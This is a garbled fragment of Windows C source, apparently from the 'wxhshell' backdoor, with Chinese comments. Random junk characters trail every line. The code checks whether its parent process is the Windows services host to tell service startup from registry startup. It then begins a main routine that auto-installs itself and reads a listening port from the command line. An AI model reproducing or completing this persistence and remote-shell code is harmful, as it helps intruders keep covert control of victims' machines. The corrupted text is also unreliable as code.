DWORD BasePriority; a&dP@)
ULONG UniqueProcessId; r{_1M>F
D!
ULONG InheritedFromUniqueProcessId; B9,
} PROCESS_BASIC_INFORMATION; 7[i&EPN
qD/h/
PROCNTQSIP NtQueryInformationProcess; |tz{Es<`B
_X@ Q`d
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 88 ca
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L(X}37
lQ"t#b+
HANDLE hProcess; P ?96;
PROCESS_BASIC_INFORMATION pbi; 7HL23Vrk
O2fFh_\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *Wcq'S
if(NULL == hInst ) return 0; aC<fzUD;
jpOcug`f
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $$*0bRfd4=
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |!1iLWQ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \`%#SmQF
4VkJtu5
if (!NtQueryInformationProcess) return 0; Yp8XZ3
,mK UCG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gKgdu($NJ
if(!hProcess) return 0; R;uP^
*OHjw;xm+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &(jt|?{
|/Y!R>El
CloseHandle(hProcess); }:1qK67S
I*mBU^<9V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =/4}!B/
if(hProcess==NULL) return 0; /b6j<]H
1{
ehnH
HMODULE hMod; q!q=axfMD
char procName[255]; ZS@R ?
unsigned long cbNeeded; I;9DG8C&v*
$N|Spp0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %6Y}0>gY
Ie8SPNY-H
CloseHandle(hProcess); q~X}&}UT
QqcAmp
if(strstr(procName,"services")) return 1; // 以服务启动 L:jv%;DM
F$9+WS`c
return 0; // 注册表启动 u!b0<E
} 3ZvQUH/{W
v{8r46Y~Z)
// 主模块 /)rv Ndn
int StartWxhshell(LPSTR lpCmdLine) #jg3Ku;Y
{ SL_JA
SOCKET wsl; Ppx 4#j
BOOL val=TRUE; jtqU`|FSQ
int port=0; 1J&hm[3[K
struct sockaddr_in door; Hq,NOP
nQn=zbZ3
if(wscfg.ws_autoins) Install(); 9A}y^=!`
Xj:\B] v]
port=atoi(lpCmdLine); wB<